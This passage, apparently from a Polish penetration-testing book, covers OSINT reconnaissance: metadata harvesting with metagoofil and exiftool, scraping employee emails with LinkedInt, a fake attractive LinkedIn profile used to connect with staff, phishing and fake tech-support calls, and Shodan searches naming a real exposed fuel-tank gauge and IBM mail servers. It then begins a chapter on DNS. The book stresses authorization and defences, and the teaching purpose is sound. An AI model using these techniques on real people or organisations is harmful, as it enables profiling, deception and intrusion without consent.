wać go za pomocą polecenia apt install metagoofil. Program wykorzystuje wyszukiwarkę
Google, aby znajdować dokumenty, które pobiera automatycznie do lokalnego folderu, a następnie
wydobywa z nich metadane. Wystarczy podać domenę (ponownie użyjemy domeny firmy IBM) oraz
rodzaj dokumentów, jakie chcemy przeszukać. Można też nałożyć na program pewne ograniczenia
oraz wskazać folder, w którym mają być zapisywane pobierane pliki (tutaj użyjemy folderu plikiIbm).
metagoofil -d uk.ibm.com -t doc,pdf -l 200 -n 50 -o plikiIbm

Program pobierze teraz wszystkie wyszukane pliki, które spełniają podane wymagania, a na-
stępnie przeanalizuje ich zawartość, poszukując w nich przydatnych informacji, takich jak adresy
e-mail itp. Może się okazać, że to narzędzie nie zwróci nam szczególnie spektakularnych wyników,
co może też wynikać z jego wieku. Wspominamy o nim tutaj głównie po to, żeby wskazać możli-
wości, jakie daje uzyskiwanie różnych dokumentów i przeglądanie ich metadanych. Innym narzę-
dziem, które można wykorzystać w tym samym celu, jest FOCA (Fingerprinting Organizations with
Collected Archives), czyli program z interfejsem graficznym dostępny pod adresem www.elevenpa-
ths.com/labstools/foca/index.html.

3681988c430c7fe1e8567c4e2f281f7b
3
104 Rozdział 4  Zbieranie danych z otwartych źródeł

Na stronach WWW poszczególnych narzędzi często można znaleźć ich nowsze wersje, które
nie zostały jeszcze oficjalnie przyjęte przez różne dystrybucje Linuksa. Hakerzy lubią jednak korzy-
stać z najnowszych wersji swoich narzędzi albo w jakiś sposób rozbudowywać ich możliwości.
W przypadku programu Metagoofil aktualniejsza wersja jest dostępna w repozytorium GitHub
pod adresem github.com/opsdisk/metagoofil/.

Pamiętaj, żeby przed uruchomieniem narzędzi pobieranych z niespraw-

dzonych źródeł skontrolować ich kod źródłowy. Jeżeli nie masz pewności co do tego, co robi
dany skrypt, uruchom go w środowisku wirtualnym bez dostępu do internetu albo nie uru-
chamiaj go wcale.
Niektóre narzędzia do odczytywania metadanych można znaleźć w repozytoriach pakietów
różnych dystrybucji Linuksa. Na pewno warto je wypróbować. Przykładem niech będzie program
Exiftool, który z dowolnego pliku JPEG może odczytać zapisane w nim dane Exif. W ten sposób
można uzyskać zaskakujące wyniki i ujawnić informacje, których nie usunęła osoba publikująca
zdjęcie. Na przykład w trakcie pisania tej książki jedna ze stron internetowych prezentowała zdjęcie
kilku policjantów na uniwersytecie w Wielkiej Brytanii:
www.northampton.ac.uk/news/new-police-team-meets-staff-and-students-at-the-university-
of-northampton
Po pobraniu obrazka z adresu www.hackerhousebook.com/files/image1.jpeg i przekazaniu go
jako parametru do programu Exiftool na ekranie zobaczysz wiele dodatkowych informacji na temat
tego zdjęcia.
exiftool image1.jpeg

Po uruchomieniu tego polecenia program Exiftool wypisze poniższe informacje:

ExifTool Version Number : 12.16
File Name : image1.jpeg
Directory : .
File Size : 2.6 MiB
File Modification Date/Time : 2021:03:27 22:41:52+01:00
File Access Date/Time : 2021:03:27 22:45:11+01:00
File Inode Change Date/Time : 2021:03:27 22:45:11+01:00
File Permissions : rwxrwxrwx
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
Make : Apple
Camera Model Name : iPhone 6
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Software : 11.3.1
Modify Date : 2018:09:27 11:21:35
Exposure Time : 1/898
F Number : 2.2
Exposure Program : Program AE
ISO : 32

3681988c430c7fe1e8567c4e2f281f7b
3
Metadane dokumentu 105

Exif Version : 0221

Date/Time Original : 2018:09:27 11:21:35
Create Date : 2018:09:27 11:21:35
Components Configuration : Y, Cb, Cr, -
Shutter Speed Value : 1/898
Aperture Value : 2.2
Brightness Value : 9.196232339
Exposure Compensation : 0
Metering Mode : Multi-segment
Flash : Off, Did not fire
Focal Length : 4.2 mm
Subject Area : 1631 1223 1795 1077
Run Time Flags : Valid
Run Time Value : 30645718499916
Run Time Scale : 1000000000
Run Time Epoch : 0
Acceleration Vector : -0.9815188172 0.03043882641 -0.1194911988
HDR Image Type : Unknown (2)
Sub Sec Time Original : 901
Sub Sec Time Digitized : 901
Flashpix Version : 0100
Color Space : sRGB
Exif Image Width : 3264
Exif Image Height : 2448
Sensing Method : One-chip color area
Scene Type : Directly photographed
Custom Rendered : HDR (no original saved)
Exposure Mode : Auto
White Balance : Auto
Focal Length In 35mm Format : 29 mm
Scene Capture Type : Standard
Lens Info : 4.15mm f/2.2
Lens Make : Apple
Lens Model : iPhone 6 back camera 4.15mm f/2.2
GPS Latitude Ref : North
GPS Longitude Ref : West
GPS Altitude Ref : Above Sea Level
GPS Time Stamp : 10:21:34
GPS Speed Ref : km/h
GPS Speed : 0
GPS Img Direction Ref : True North
GPS Img Direction : 104.5822785
GPS Dest Bearing Ref : True North
GPS Dest Bearing : 104.5822785
GPS Date Stamp : 2018:09:27
GPS Horizontal Positioning Error: 5 m
XMP Toolkit : XMP Core 5.4.0
Creator Tool : 11.3.1
Date Created : 2018:09:27 11:21:35
Current IPTC Digest : d41d8cd98f00b204e9800998ecf8427e
IPTC Digest : d41d8cd98f00b204e9800998ecf8427e
Image Width : 3264
Image Height : 2448
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Run Time Since Power Up : 8:30:46

3681988c430c7fe1e8567c4e2f281f7b
3
106 Rozdział 4  Zbieranie danych z otwartych źródeł

Aperture : 2.2
Image Size : 3264x2448
Lens ID : iPhone 6 back camera 4.15mm f/2.2
Megapixels : 8.0
Scale Factor To 35 mm Equivalent: 7.0
Shutter Speed : 1/898
Create Date : 2018:09:27 11:21:35.901
Date/Time Original : 2018:09:27 11:21:35.901
GPS Altitude : 63.3 m Above Sea Level
GPS Date/Time : 2018:09:27 10:21:34Z
GPS Latitude : 52 deg 13' 55.19" N
GPS Longitude : 0 deg 53' 26.06" W
Circle Of Confusion : 0.004 mm
Field Of View : 63.7 deg
Focal Length : 4.2 mm (35 mm equivalent: 29.0 mm)
GPS Position : 52 deg 13' 55.19" N, 0 deg 53' 26.06" W
Hyperfocal Distance : 1.82 m
Light Value : 13.7

Z metadanych zapisanych w badanym zdjęciu dowiadujemy się, że zostało ono wykonane za

pomocą tylnej kamery telefonu iPhone 6 o godzinie 9:55 3 października 2018 roku. Przeglądając
dostępne informacje, zauważysz też współrzędne GPS miejsca, w którym wykonano zdjęcie, jak
również wiele parametrów pracy aparatu. W pewnych sytuacjach takie informacje można uznać za
dane wrażliwe. Oprócz informacji na temat aparatu i lokalizacji wśród metadanych może znajdo-
wać się też miniaturka zdjęcia prezentująca jego pierwotną wersję, przed wprowadzonymi później-
szymi modyfikacjami (na przykład kadrowaniem). Jeżeli w pliku znajduje się taka miniaturka, to
można ją wydobyć za pomocą poniższego polecenia:
exiftool -b ThumbnailImage <NazwaPlikuObrazu> > <NazwaPlikuMiniaturki>

Maltego
Narzędziem konkurencyjnym dla Recon-ng lub uzupełniającym go jest Maltego. Maltego jest ko-
mercyjnym narzędziem tworzonym przez firmę Paterva (www.paterva.com/buy/maltego-clients/
matego-ce.php). Za pomocą tego narzędzia można uruchamiać transformacje (to stosowana w tym
narzędziu nazwa skryptopodobnych operacji wykonujących określone funkcje) na zdalnym serwe-
rze, a użytkownik może obejrzeć te wszystkie informacje w postaci graficznych wizualizacji. Ana-
litycy zagrożeń, którzy w trakcie swojej pracy często korzystają z działań OSINT, mogą wykupić
wersję Professional tego narzędzia. W systemie Kali Linux dostępna jest natomiast wersja społecz-
nościowa o ograniczonych możliwościach. Program jest wyposażony w graficzny interfejs użyt-
kownika, który jest przygotowany do analizowania związków pomiędzy różnymi encjami, takimi
jak pracownicy, konta w mediach społecznościowych, domeny, adresy IP i inne. Przeszukuje on
zapisy serwerów DNS, wyszukiwarki oraz różne dostępne API (działa zatem podobnie do Recon-
ng), ale zebrane informacje przedstawia w formie graficznej. Z pewnością warto się przyjrzeć temu
programowi i sprawdzić, czy udostępniane przez niego funkcje mogą pomóc Ci w wykonywanej
pracy. Na rysunku 4.4 można zobaczyć przykładowe wyniki wyszukiwania adresów e-mail powią-
zanych z daną domeną, wyświetlane przez Maltego.

3681988c430c7fe1e8567c4e2f281f7b
3
Sieci społecznościowe 107

Rysunek 4.4. Wyszukiwanie adresów e-mail w programie Maltego

Aby zacząć korzystać z programu Maltego, musisz założyć bezpłatne konto w serwisie. Aby
szybko zaprezentować funkcje udostępniane przez ten program, zaczniemy od pustego grafu i wy-
szukamy na wstążce menu Machines. Po jego otwarciu wybierz pozycję Run Machine, co spowo-
duje wyświetlenie listy opcji. Wybierz opcję Company Stalker i wpisz nazwę domeny, aby urucho-
mić maszynę, która jako wynik zwróci listę adresów e-mail. Po uzyskaniu pewnego zbioru adresów
możesz kliknąć prawym przyciskiem wybraną encję i wybrać z menu kontekstowego pozycję
Transform. Możesz spróbować przekształcić adres e-mail w osobę, przez co program zacznie po-
szukiwać pełnych danych powiązanych ze wskazanym adresem e-mail.
Program Maltego wykorzystuje własne serwery do przeprowadzania całego wyszukiwania, a to
oznacza, że nasz komputer nie musi wykonywać tych prac. Oznacza to też, że trzeba ostrożnie wy-
bierać informacje przekazywane temu programowi. Szczególnie zachowawczo należy tu traktować
własne dane oraz dane swojego klienta.

Sieci społecznościowe
W dzisiejszych czasach ludzie bardzo chętnie korzystają z sieci społecznościowych w celach bizne-
sowych. Często jest to nieunikniony krok w ciągu kariery albo chęć połączenia się z innymi ludźmi
z tej samej dziedziny. Zdecydowana większość biznesowych kontaktów sieciowych ma miejsce
w portalu o nazwie LinkedIn (www.linkedin.com). Hakerzy chętnie przeszukują różne witryny spo-
łecznościowe, takie jak LinkedIn, w nadziei na odszukanie pracowników danej firmy, adresów
e-mail albo informacji, które mogą mieć dla nich jakąkolwiek wartość. LinkedInt to prosty, choć
bardzo przydatny skrypt w języku Python, który można pobrać z GitHuba. Aby z niego skorzystać,
trzeba najpierw założyć sobie konto LinkedIn, a najlepsze wyniki uzyskuje się, jeżeli takie konto
ma już pewne połączenia, być może nawet z pracownikami badanej firmy. W firmie Hacker House

3681988c430c7fe1e8567c4e2f281f7b
3
108 Rozdział 4  Zbieranie danych z otwartych źródeł

zauważyliśmy, że wykorzystanie w koncie zdjęcia atrakcyjnej osoby i wysyłanie do pracowników

wybranej firmy próśb o połączenie (tak zwana technika słodkiej pułapki) bardzo często pozwala na
połączenie takiego konta z wieloma osobami pracującymi dla tej firmy. Po przygotowaniu konta
LinkedIn z kilkoma takimi połączeniami można uruchomić narzędzie LinkedInt i zacząć groma-
dzić informacje, odpowiadając na pytania programu:
# python LinkedInt.py
██╗ ██╗███╗ ██╗██╗ ██╗███████╗██████╗ ██╗███╗ ██╗████████╗
██║ ██║████╗ ██║██║ ██╔╝██╔════╝██╔══██╗██║████╗ ██║╚══██╔══╝
██║ ██║██╔██╗ ██║█████╔╝ █████╗ ██║ ██║██║██╔██╗ ██║ ██║
██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ██║ ██║██║██║╚██╗██║ ██║
███████╗██║██║ ╚████║██║ ██╗███████╗██████╔╝██║██║ ╚████║ ██║
╚══════╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═╝
Providing you with Linkedin Intelligence
Author: Vincent Yiu (@vysec, @vysecurity)
Original version by @DisK0nn3cT
[*] Enter search Keywords (use quotes for more percise results)
"International Business Machines"
[*] Enter filename for output (exclude file extension)
Ibm

[*] Filter by Company? (Y/N):

Y

[*] Specify a Company ID (Provide ID or leave blank to automate):

[*] Enter e-mail domain suffix (eg. contoso.com):

uk.ibm.com

[*] Select a prefix for e-mail generation (auto,full,firstlast,firstm-last,

flast,first.last,fmlast):
auto

Na powyższym wydruku informujemy skrypt LinkedInt, że powinien przeglądać zasoby LinkedIn

w poszukiwaniu kont osób publicznie informujących o tym, że są pracownikami firmy IBM, a przy-
najmniej są z nią w jakiś sposób powiązane. Po uruchomieniu tego lub podobnego narzędzia za-
zwyczaj zyskujemy wielką listę nazwisk pracowników i zajmowanych przez nich stanowisk, razem
z adresami e-mail. Same adresy wcale nie muszą być poprawne, ponieważ LinkedInt generuje je za
pomocą wskazanego zbioru reguł. Jeżeli chodzi o adresy e-mail oraz nazwy użytkowników, wielkie
znaczenie mają ludzkie słabości. W większości organizacji stosowany jest jakiś schemat tworzenia
adresów e-mail, a bardzo często jest to imie.nazwisko@nazwafirmy.com. Jeżeli poznasz schemat
stosowany przez daną organizację, to możesz wykorzystać tę wiedzę do przewidywania innych po-
prawnych adresów. Przeszukiwanie portalu LinkedIn zwykle pozwala uzyskać znacznie więcej wy-
ników niż omawiane wcześniej metody, ponieważ firmy mają mniejsze możliwości kontrolowania
tego, co ich pracownicy publikują w witrynach i na forach biznesowych. Naprawdę zabawne jest
to, że wiele osób dobrowolnie ujawnia te wszystkie informacje, podając również zajmowane przez
siebie stanowiska. Dotyczy to również i innych portali społecznościowych, ale LinkedIn jest dla nas
szczególnie ważnym źródłem informacji. Portal LinkedIn często wprowadza zmiany w swoim in-
terfejsie, dlatego opisywane tu narzędzia mogą w przyszłości stracić swoją skuteczność. Mimo to
bardzo szybko pojawiają się alternatywne rozwiązania.

3681988c430c7fe1e8567c4e2f281f7b
3
Shodan 109

Pamiętaj, że niemal zawsze, niezależnie od zakresu umowy podpisanej z klientem, wyszukanie

adresów e-mail jest dopiero początkiem naszej pracy. Posiadając odpowiednie zezwolenia, można
przesyłać pracownikom firmy złośliwe oprogramowanie albo inne pliki, które mogą pomóc Ci uzy-
skać dostęp do wewnętrznych systemów firmy. Za pomocą technik inżynierii społecznej można
spróbować wyciągnąć od użytkownika dodatkowe informacje, takie jak stosowane przez niego ha-
sła. Bardzo przydają się tutaj również numery telefonów. Zadziwiająco często udawany telefon od
pomocy technicznej sprawia, że ludzie chętnie ujawniają różne wrażliwe informacje. Jeżeli uda Ci
się skutecznie użyć metod inżynierii społecznej za pośrednictwem e-maila, namawiając odbiorcę
do wykonania pewnych działań, takich jak odwiedzenie kontrolowanej przez Ciebie strony WWW,
albo wykonania działań niezbędnych do naprawienia biurowej drukarki, to uzyskasz kolejną me-
todę dostępu do sieci klienta.

Shodan
Na początku tego rozdziału wspomnieliśmy, że w analizowanej sieci będziemy przyglądać się różnym
rzeczom podłączonym do internetu. Narzędziem, które doskonale się do tego nadaje, jest Shodan
(www.shodan.io). Shodan jest wyszukiwarką urządzeń podłączonych do sieci IP (innymi słowy,
przeszukiwany jest internet rzeczy, a nie tylko sieć WWW). Udostępnia ona historyczne adresy IP
oraz adresy wyszukiwane na żądanie, pobierane z bazy danych hostów z otwartymi portami i do-
stępnymi usługami. Narzędzie umożliwia przeszukiwanie internetu za pomocą wywołań wiersza
poleceń lub specjalnego API. Shodan nie tylko wyświetla listę otwartych portów i usług, ale też
zbiera z nich różne dane. Na przykład możemy zobaczyć odczyty pomp paliwa podłączonych do
internetu albo obrazy z niezabezpieczonych kamer sieciowych!
Shodan jest usługą płatną pobierającą opłaty za wykonywane zapytania. Istnieje jednak możli-
wość korzystania bez opłat, choć z ograniczoną liczbą zwracanych wyników. Korzystając z opisy-
wanych wcześniej metod albo innych rozwiązań, można uzyskać listę adresów IP i nazw hostów,
które prawdopodobnie są powiązane z naszym klientem. Shodan może zatem przejrzeć podaną mu
listę hostów i sprawdzić, jakie informacje na ich temat są dostępne publicznie. W firmie Hacker
House wyszukujemy w ten sposób wiele cennych informacji, jak również znajdujemy systemy
i urządzenia, które nie powinny nigdy zostać podłączone do internetu. Shodan zachowuje również
znalezione certyfikaty SSL, a te umożliwiają ujawnianie kolejnych nazw hostów.
Możesz zatem utworzyć listę systemów komputerowych połączoną z listą otwartych portów
oraz działających za nimi usług, a to wszystko bez używania własnych narzędzi do skanowania
portów. Wyszukiwarce można też zlecić skanowanie wybranego zakresu adresów IP, maskując tym
samym źródło takiego sondowania!
Demonstrując działanie wyszukiwarki Shodan w trakcie naszych szkoleń, lubię korzystać z przy-
kładu wyszukiwania słowa gasoline. Spróbuj uruchomić takie wyszukiwanie, a przekonasz się, dlaczego
używam tego właśnie słowa. Wśród zwróconych wyników znajduje się też host o adresie 50.127.106.97,
który ma dwa otwarte porty. Jednym z nich jest port TCM o numerze 10001, z którego Shodan po-
biera następujące informacje:
I20100 11-07-18 8:14 AM
218449 GASOLINE ALLE
3966 SR 37

3681988c430c7fe1e8567c4e2f281f7b
3
110 Rozdział 4  Zbieranie danych z otwartych źródeł

MITCHELL IN 47446

IN-TANK INVENTORY

TANK PRODUCT VOLUME TC VOLUME ULLAGE HEIGHT WATER TEMP

1 UNLEADED 5117 5116 6883 41.25 0.00 60.05
2 PREMIUM 2140 2131 3860 35.63 0.00 65.67
3 DIESEL 5641 5614 6359 44.32 0.00 70.54
4 KEROSENE 1240 1235 1760 31.09 0.00 68.60
5 AG DIESEL 1836 1826 1164 41.83 0.00 71.79
6 DEF 1560 1560 764 44.20 59.39

Shodan nazywa tę usługę automated-tank-gauge (automatyczny dystrybutor paliwa) i rzeczy-

wiście działa ona dokładnie w ten sposób. Okazuje się, że udało się pobrać kilka odczytów ze stacji
paliw z miejscowości Mitchell w stanie Indiana. Wśród danych znajduje się też adres dystrybutora
— Gasoline Alley. Jeżeli ktoś mieszka w okolicy, to przed wybraniem się na stację paliw może
sprawdzić, czy w zbiornikach znajduje się dość paliwa. To doskonały przykład udostępnianego pu-
blicznie przemysłowego systemu sterowania, czyli czegoś, co zdecydowanie nie powinno być wcale
podłączone do internetu.
W ten sposób można też znaleźć podłączone do internetu inteligentne domy, których właści-
ciele nierozsądnie ujawnili interfejsy administracyjne. Pozwala to na swobodne odczytanie tempe-
ratury panującej w domu, włączanie i wyłączanie świateł, a nawet na przeglądanie kamer monito-
ringu. Bardzo często okazuje się, że dostęp do tych informacji chroniony jest domyślnym hasłem,
a nawet że nie zastosowano żadnego hasła.
Oczywiście można też przeszukać na przykład domenę uk.ibm.com. W trakcie pisania tej
książki w wynikach wyszukiwania można było zobaczyć kilka hostów z otwartym portem TCP 25.
Oto wycinek informacji zwróconych przez wyszukiwarkę Shodan:
20 IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be
prosecuted service ready; Tue, 6 Nov 2018 19:09:34 -0000250-e06smtp04.
uk.ibm.com
250-8BITMIME
250-PIPELINING
250-SIZE 36700160
250 STARTTLS

Wygląda to na serwer pocztowy udostępniający usługę protokołu SMTP (Simple Mail Transfer
Protocol), który należy do firmy IBM. Takim serwerom pocztowym będziemy się przyglądać do-
kładniej w rozdziale 6. „Poczta elektroniczna”. Shodan pozwala też na stosowanie narzędzia dzia-
łającego w wierszu poleceń, które możesz zainstalować w swoim systemie. Po zarejestrowaniu swo-
jego konta i uzyskania klucza API możesz zacząć korzystać z takiego polecenia jak shodan search
port:10001, za pomocą którego można wyszukiwać kolejne stacje paliw, albo polecenia shodan search
port:25, które umożliwia poszukiwanie serwerów SMTP. Ten sposób pracy oznacza, że wyniki wy-
szukiwania otrzymasz w wierszu poleceń, gdzie można je łatwo przesłać do innego programu, prze-
analizować i wybrać z nich określone informacje albo zmienić formatowanie danych lub wykonać
na nich dowolną inną operację.

3681988c430c7fe1e8567c4e2f281f7b
3
Ochrona przed działaniami OSINT 111

Ochrona przed działaniami OSINT

Każda firma ma wiele możliwości chronienia się przed tego rodzaju pasywnym rekonesansem. Gdy
informacje zostaną upublicznione albo niechcący ujawnione w internecie, ich ponowne „ukrycie”
może być naprawdę kłopotliwe. Firmy mogą i muszą zatem mieć większą świadomość tego, jakie
informacje ich pracownicy udostępniają publicznie. Przedsiębiorstwa powinny też nieustannie
monitorować publicznie dostępne dane, tak żeby w przypadku wykrycia wycieku danych możliwe
było jak najszybsze zablokowanie go. Tworzenie fałszywych profili pracowników firmy i umiesz-
czanie w nich wybranych informacji, takich jak monitorowane adresy e-mail, bardzo pomaga fir-
mom w wykrywaniu wszelkich działań prowadzonych przeciwko nim.
Każda firma może wiele zyskać na ciągłym kontrolowaniu swoich okolic w opisany wcześniej
sposób. Sprawdzanie dostępnych publicznie danych w internecie i innych źródłach pozwala zacho-
wać świadomość tego, jak łatwo każdy może uzyskać te informacje. Każdy poważny wyciek danych
powinien być natychmiast blokowany. Ten rodzaj rutynowego monitoringu ułatwia też kreowanie
innych decyzji, takich jak reguły zachowań pracowników w mediach społecznościowych, sposób
obsługi haseł i inne.
Kolejną ważną rzeczą do zapamiętania jest to, że ludzie ujawniają istotne informacje, nie zdając
sobie z tego sprawy. W firmie Hacker House wykryliśmy kiedyś na publicznie dostępnych serwe-
rach pełne protokoły serwerów pocztowych, a nawet pliki konfiguracyjne routerów Cisco zawiera-
jące aktywnie stosowane hasła! I to wszystko za pomocą metod OSINT. Czasami informacje uzyskane
na tym etapie były całkowicie wystarczające do skutecznego włamania się do sieci badanej firmy.
Dzięki serwisowi HIBP dowiedzieliśmy się też, jakie szkody mogą powstać przez to, że pracow-
nicy ponownie wykorzystują stare hasła, szczególnie w przypadku, gdy te były już publicznie do-
stępne. Złośliwi hakerzy korzystają na takich zachowaniach, bo to pozwala im uzyskać bezpośredni
dostęp do firmowych systemów. Należy zakładać, że każda używana przez nas sieciowa usługa zo-
stanie kiedyś zhakowana, dlatego trzeba przedsięwziąć kroki zmniejszające szkody takiego zdarze-
nia, jeszcze zanim ono nastąpi. Generuj unikalne hasła dla każdej używanej przez siebie usługi sie-
ciowej, tak jak pokazaliśmy to w poprzednim rozdziale, i korzystaj z menedżera haseł. Jeżeli dana
usługa na to pozwala, włączaj uwierzytelnianie dwuskładnikowe (2FA — two-factor authentication)
albo uwierzytelnianie wieloskładnikowe (MFA — multifactor authentication).

UWIERZYTELNIANIE DWUSKŁADNIKOWE

Typowym przykładem uwierzytelniania dwuskładnikowego jest logowanie użytkownika do wi-

tryny WWW za pomocą nazwy użytkownika, hasła oraz osobistego numeru identyfikacyjnego,
które to informacje znane są wyłącznie użytkownikowi. Ten sposób logowania można poprawić,
wymagając podania kodu generowanego przez aplikację dla smartfona (taką jak Google
Authenticator). W tym przypadku nie wszystkie informacje są znane użytkownikowi, ponieważ
to aplikacja generuje jeden z elementów potwierdzających tożsamość użytkownika. Ta metoda
jest nazywana uwierzytelnianiem dwuskładniowym, ponieważ wymaga podania dwóch niezależ-
nych dowodów lub składników. W tym przypadku jednym ze składników jest coś, co użytkownik
wie (hasło), a drugim jest coś, co użytkownik ma (smartfon z zainstalowaną aplikacją uwierzytel-
niającą, która jest powiązana z danym kontem). Nazwa uwierzytelnianie wieloskładnikowe odnosi
się do metod wymagających podania dwóch lub większej liczby składników. Trzecim składnikiem
może być coś, czym użytkownik jest, czyli skan odcisku palca albo tęczówki oka, które w połą-
czeniu z kartą identyfikacyjną (coś, co masz) i numerem PIN (coś, co wiesz) mogą pozwalać na
wstęp do budynku firmy.

3681988c430c7fe1e8567c4e2f281f7b
3
112 Rozdział 4  Zbieranie danych z otwartych źródeł

Podsumowanie
W tym rozdziale wiele czasu poświęciliśmy na zbieranie adresów e-mail oraz innych informacji
osobistych. Dowiedzieliśmy się, jakie informacje można zbierać za pomocą wyszukiwarek Shodan,
Google (i innych), różnych mediów społecznościowych i metadanych dokumentów. Na razie nie
próbowaliśmy jeszcze wyszukiwać nazw domen lub hostów powiązanych z badaną firmą. Tą dzia-
łalnością zajmiemy się w następnym rozdziale, ponieważ te informacje są zwykle gromadzone za
pomocą serwerów DNS.
Jeżeli pracujesz dla klienta, to na zakończenie fazy zbierania danych metodami OSINT musisz
zaprezentować klientowi uzyskane informacje, aby uzyskać pozwolenie na przejście do testowania
wykrytych w ten sposób systemów i usług. Nie chcemy przecież zacząć hakowania witryny, o której
myśleliśmy, że należy do naszego klienta, a która w rzeczywistości należy do innej organizacji o tej
samej nazwie, ale z siedzibą na drugim końcu świata. Tego rodzaju pomyłki się zdarzają, dlatego
upewnij się, że w Twoim raporcie znalazły się wszystkie wyszukane informacje, i uzyskaj potwierdze-
nie, że wszystkie znalezione systemy są elementami sieci, na badanie której masz odpowiednie po-
zwolenie. Dopiero potem możesz przejść do stosowania bardziej aktywnych i bezpośrednich technik.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

5
System DNS

Komputery będące częścią sieci (takiej jak internet) otrzymują liczbowe adresy, których muszą uży-
wać podczas łączenia się z innymi komputerami. Zapamiętywanie liczby 32-bitowej, nawet jeżeli
zostanie ona zamieniona do postaci dziesiętnej i odpowiednio sformatowana (np. 58.199.11.2), dla
każdego komputera, z którym chcielibyśmy się połączyć, jest wysoce niepraktyczne. Zwykle nie
umiemy zapamiętać numerów telefonów choćby kilku naszych znajomych i zapisujemy je w jakiejś
formie książki adresowej. Większość z nas zgodzi się, że w takich przypadkach dobrze jest mieć
jakąś metodę wyszukiwania numerów, a przynajmniej mieć prostą listę nazw i numerów. Sprawdza
się to zarówno przy wybieraniu numerów telefonów, jak i adresów komputerów — szczególnie
w przypadku pozycji, z których korzystamy bardzo często.
To właśnie dlatego powstał system DNS (Domain Name System — system nazw domen).
W tym rozdziale dowiemy się, jak działa ten system. Poznamy tu serwery nazw oraz działające w nich
oprogramowanie. Następnie nauczymy się prowadzić przesłuchania takich serwerów, wyszukiwać
podatności w działającym na nich oprogramowaniu i w końcu — wykorzystywać te podatności.

Implikacje hakowania serwerów DNS

Firmy korzystają z serwerów nazw, aby udzielać odpowiedzi na zapytania w postaci: „jaki adres IP
ma domena www.twojafirma.pl?”. Wyłączenie albo ograniczenie możliwości działania firmowego
serwera nazw może uniemożliwić klientom i pracownikom dostęp do całego zbioru usług (nie tylko
stron WWW), co bezpośrednio wpływa na wiarygodność, reputację i zyski firmy. Co więcej, sposób
zaprojektowania i zaimplementowania systemu DNS pozwala na przeprowadzenie ataku DDOS
(distributed denial-of-service — rozproszona odmowa świadczenia usług), w którym moc oblicze-
niowa wielu komputerów może zostać wykorzystana do skierowania ogromnego ruchu sieciowego
do jednego serwera, przez co ten traci możliwość poprawnego realizowania swoich funkcji.

113

3681988c430c7fe1e8567c4e2f281f7b
3
114 Rozdział 5  System DNS

Takie ataki są przeprowadzane niemal nieustannie w różnych miejscach na świecie, a ochrona

przed nimi i wykrywanie ich źródeł zwykle jest bardzo kłopotliwe. Nawet główne serwery nazw
(ang. root name serwers), czyli komputery obsługujące górną warstwę hierarchii DNS, są czasami
celem takich ataków. Możliwe jest też zmienianie zawartości pamięci podręcznej DNS, zarówno tej
zapisanej w komputerze wybranego pracownika, jak i tej używanej przez firmowy serwer nazw.
Oznacza to, że można podać klientom fałszywe dane interesującej ich witryny i w ten sposób skie-
rować ich na własną, podrobioną stronę. A to otwiera ogromne możliwości dalszej kradzieży danych.

Krótka historia systemu DNS

W latach 70. XX wieku instytut Stanford Research Institute (będący wtedy częścią uniwersytetu
Stanford) był oficjalnym źródłem pliku zawierającego nazwy oraz adresy IP wszystkich kompute-
rów podłączonych do sieci ARPANET (Advanced Research Projects Agency Network), która stała
się bazą dla całego internetu. Wcześniej każda z instytucji podłączonych do tej sieci przechowywała
własną, często nieaktualną, listę w pliku tekstowym. (Ta koncepcja przetrwała do dzisiaj w postaci
pliku /etc/hosts znanego z systemów uniksowych). Tworzenie centralnego elementu umożliwiającego
wyszukiwanie adresów IP poszczególnych hostów było bardzo dobrym pomysłem.
W związku z nieustannym rozrastaniem się głównego pliku hostów (istnieje 232, czyli 4 294 967 296
możliwych adresów IPv4, choć okazały się one niewystarczające, dlatego pojawił się protokół IPv6)
i ciągle rosnącymi potrzebami korzystania z niego stało się oczywiste, że muszą powstać przysto-
sowane do tego systemy. W ten sposób powstał system DNS (Domain Name System — system nazw
domen) będący globalną, zdecentralizowaną bazą danych, która miała być szybka, mieć elementy
zapasowe i być odporna na błędy.

Hierarchia systemu DNS

System DNS wykorzystuje hierarchię zarówno podczas przechowywania informacji, jak i podczas
podawania ich w odpowiedziach na żądania. Na samym szczycie tej hierarchii znajdują się główne
serwery nazw. Te serwery przechowują informacje na temat domen najwyższego poziomu, takich
jak .com, .net lub .org. Serwery nazw domeny .com przechowują informacje o takich domenach jak
duckduckgo.com, wiley.com lub bbc.com. Nie są one w stanie podać adresów IP tych hostów, ale
mogą wskazać, gdzie należy szukać odpowiedzi na pytanie o te adresy. Aby uzyskać dostęp do stron
usług firmy Google, trzeba wysłać zapytania do serwerów odpowiedzialnych za domenę google.com
i wszystkie jej poddomeny.
Strukturę systemu DNS można porównać do struktury systemu plików w komputerze uniksowym.
Podstawę tej struktury stanowi katalog opisywany pojedynczym znakiem ukośnika (/). Poniżej tego
poziomu znajduje się kilka katalogów (lub folderów), takich jak dev, bin, boot, home itp. W każdym
z tych katalogów znajdują się kolejne katalogi. Na przykład w katalogu home mogą znajdować się
katalogi poszczególnych użytkowników, takie jak piotrek, kasia, bartek lub daniel. Aby uzyskać do-
stęp do katalogu plików pobranych przez użytkownika daniel, należy użyć następującej ścieżki:
/home/daniel/Pobrane.

3681988c430c7fe1e8567c4e2f281f7b
3
Proste zapytanie DNS 115

System nazw domen działa na podobnej zasadzie. W adresach zamiast ukośników używane są
kropki i czyta się je od prawej do lewej. Pojedyncza kropka reprezentuje najwyższy poziom hierar-
chii (choć zwykle jest ona usuwana z adresów). Za tą kropką znajdują się domeny najwyższego
poziomu (podobne do katalogów), takie jak com, org, net, co i house. W każdej z tych domen znaj-
dują się kolejne domeny, dzięki czemu można uzyskać taki adres jak news.bbc.com., w którym
ostatnia kropka jest jak najbardziej poprawna. Na rysunku 5.1 można zobaczyć hierarchiczną na-
turę systemu DNS.

Rysunek 5.1. Hierarchia systemu DNS

Proste zapytanie DNS

Jeżeli w przeglądarce wpiszesz nazwę domeny (na przykład duckduckgo.com), to system operacyjny
